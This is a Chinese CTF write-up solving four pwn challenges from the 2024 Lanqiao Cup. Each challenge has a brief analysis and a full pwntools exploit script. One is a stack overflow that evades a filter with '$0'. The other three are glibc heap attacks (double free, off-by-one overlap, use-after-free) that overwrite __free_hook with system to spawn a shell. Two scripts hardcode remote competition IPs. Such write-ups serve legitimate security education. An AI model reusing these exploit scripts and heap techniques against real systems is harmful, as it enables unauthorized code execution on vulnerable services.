2024蓝桥杯初赛决赛pwn题全解
蓝桥杯初赛决赛pwn题解
- 初赛
- 第一题
- 第二题
- 决赛
- getting_started
- babyheap
初赛
第一题
有system函数,并且能在bss上读入字符
而且存在栈溢出,只要过掉check函数即可
check函数中,主要是对system常规获取权限的参数,进行了过滤,用$0即可
exp:
from pwn import * li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def bug(): gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') p = remote('', ) rl("restricted stack.\n") pay=b'$0' s(pay) rl("...\n") pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778) s(pay) sleep(0.5) sl(b'exec 1>&0') inter()第二题
经典堆菜单题目
发现没有edit功能,考虑double free。版本为2.31 09.9
挨个分析
add函数,申请堆块部分
只能申请0x50大小的堆块,并且能读入0x50字节的大小内容
free部分,
free之后有置零,所以不存在uaf漏洞
show就是个正常打印
漏洞是在这个函数
没有置零关键部分,所以存在uaf漏洞,因为只能申请0x50大小的堆块,所以考虑使用fastbin的double free
具体思路:
先把tcachebin填满
之后利用后门函数free一个进fastbin,然后正常再free两个堆块(第二次free的是后门free的那一个)
以此构造出double free,然后把tcache bin全部申请回来,然后再申请一个fastbin的堆块,fastbin的其他堆块就会进入到tcache bin里,因为前面已经构造了double free,所以这次可以修改fd的末位,然后就能申请出来这个错位的堆块A,修改堆块的size,然后free进unsorted bin,之后申请一个小块B,泄露libc,然后free这个小块B,再free小块A(A需要提前伪造好size位)然后申请回来A,把B的fd改为free hook,然后打free hook为system即可
from pwn import * li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def bug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = remote('',) libc = ELF('./libc.so.6') def add(c): rl("4.exit\n") sl(str(1)) sleep(0.2) s(c) def free(i): rl("4.exit\n") sl(str(2)) sleep(0.2) sl(str(i)) def show(i): rl("4.exit\n") sl(str(3)) sleep(0.2) sl(str(i)) def free2(i): rl("4.exit\n") sl(str(0x202405)) sleep(0.5) sl(str(i)) add(b'\x00'*0x38+p64(0x61)) add(b'\x00'*0x28+p64(0x61)) for i in range(12): add(b'a') #为伪造size做准备 for i in range(7): free(i+2) free(9) free(10) free2(0) free(1) free(0) for i in range(7): add(b'a') add(b'\x30') add(b'a') add(b'a') add(b'\x00'*0x28+p64(0x421)) #修改size位 free(6) add(b'a') show(6) libc_base=get_addr()-0x1ecf61 li(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] li(hex(free_hook)) system,bin=get_sb() free(11) free(6) free(10) add(b'\x00'*0x28+p64(0x61)+p64(free_hook)) #修改fd位 add(b'/bin/sh\x00') add(p64(system)) free(10) inter()哪里不明白,调试调试就行了
决赛
getting_started
比赛的时候,先看的这个题目,本地打通的了,远程打不通,这个随机值纯看脸,我脸黑,重开靶机10次左右,才打通,但是没血了
以时间为种子产生随机值
然后就是一个栈溢出
这个开启pie了,并且没法泄露东西,所以就正常输入随机值了
之后就是一个菜单题目
add函数,最大申请0x100的堆块
漏洞在edit里
这是先读入后判断,所以存在off by one,实际还有个null
思路就是利用off by one修改size,构造堆块重叠
利用思路
因为堆块限制的不强,所以直接free满tc,进入unsorted,之后再申请回来一部分,然后show出来libc
然后,off by one构造堆块重叠,利用重叠的堆块,修改fd,申请到free hook,然后打free hook为system
exp:
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def bug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_addr1(): return u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p = remote('39.106.48.123', 22289) elf = ELF('./pwn') #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc = ELF('./libc-2.31.so') def add(idx,size): rl(":") sl(str(1)) rl("Index: ") sl(str(idx)) rl("Size ") sl(str(size)) def edit(idx,c): rl(":") sl(str(2)) rl("Index: ") sl(str(idx)) rl("Content: ") s(c) def show(idx): rl(":") sl(str(3)) rl("Index: ") sl(str(idx)) def free(idx): rl(":") sl(str(4)) rl("Index: ") sl(str(idx)) libc = cdll.LoadLibrary('./libc-2.27.so') seed =libc.time(0) srand = libc.srand(seed) a=[0,0,0,0,0,0,0,0,0,0] for i in range(7): a[i]=int(str(libc.rand()% 80 + 32).encode()) rl("please login >>>>\n") pay=p8(a[0])+p8(a[1])+p8(a[2])+p8(a[3])+p8(a[4])+p8(a[5])+p8(a[6]) sl(pay) libc=ELF("./libc-2.27.so") for i in range(10): add(i,0x90) for i in range(7): free(i) free(7) show(7) for i in range(7): add(i,0x90) add(7,0x20) show(7) libc_base=get_addr()-0x3ebd30 li(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] system,bin=get_sb() for i in range(11): add(i+10,0x68) edit(17,b'a'*0x68+p8(0xe1)) free(18) free(19) add(18,0xd8) edit(18,b'a'*0x68+p64(0x71)+p64(free_hook)+b'\n') add(27,0x68) edit(27,b'/bin/sh\x00\n') add(28,0x68) edit(28,p64(system)+b'\n') free(27) inter()babyheap
同样也是4个功能
申请给限制到0-0x60
有个后门可以申请一个大堆块
free函数中存在uaf漏洞
这个题目和初赛的第二题有点像,这个题目更好布置堆块
也是通过double free,修改fd的末位,不过这个要小布置一下堆块,因为这个edit会在末位填上null,申请出来错位的堆块A,修改一下size,free进unsorted,然后show出libc,取出来这个堆块(A包含的堆块),free进tc里,通过A修改它的fd为free hook,然后打free hook为system
exp:
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def bug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = remote('8.147.132.99',23464) elf = ELF('./pwn') libc=ELF("./libc.so.6") def add(idx,size): rl(">> \n") sl(str(1)) rl("index: \n") sl(str(idx)) rl("size: ") sl(str(size)) def free(idx): rl(">> \n") sl(str(2)) rl("index: \n") sl(str(idx)) def edit(idx,c): rl(">> \n") sl(str(3)) rl("index: \n") sl(str(idx)) rl("contents: \n") s(c) def show(idx): rl(">> \n") sl(str(4)) rl("index: \n") sl(str(idx)) def add2(size): rl(">> \n") sl(str(555)) rl("find me\n") sl(str(size)) add(0,0x60) add(1,0x60) add2(0x400) add(2,0x60) free(1) free(0) edit(0,b'\n') add(3,0x60) add(4,0x60) edit(4,p64(0)+p64(0x481)+b'\n') free(1) show(1) libc_base=get_addr()-96-0x10-libc.sym['__malloc_hook'] li(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] system,bin=get_sb() add(5,0x60) free(2) free(5) edit(4,p64(0)+p64(0x71)+p64(free_hook)+b'\n') add(6,0x60) edit(6,b'/bin/sh\x00\n') add(7,0x60) edit(7,p64(system)+b'\n') free(6) inter()

















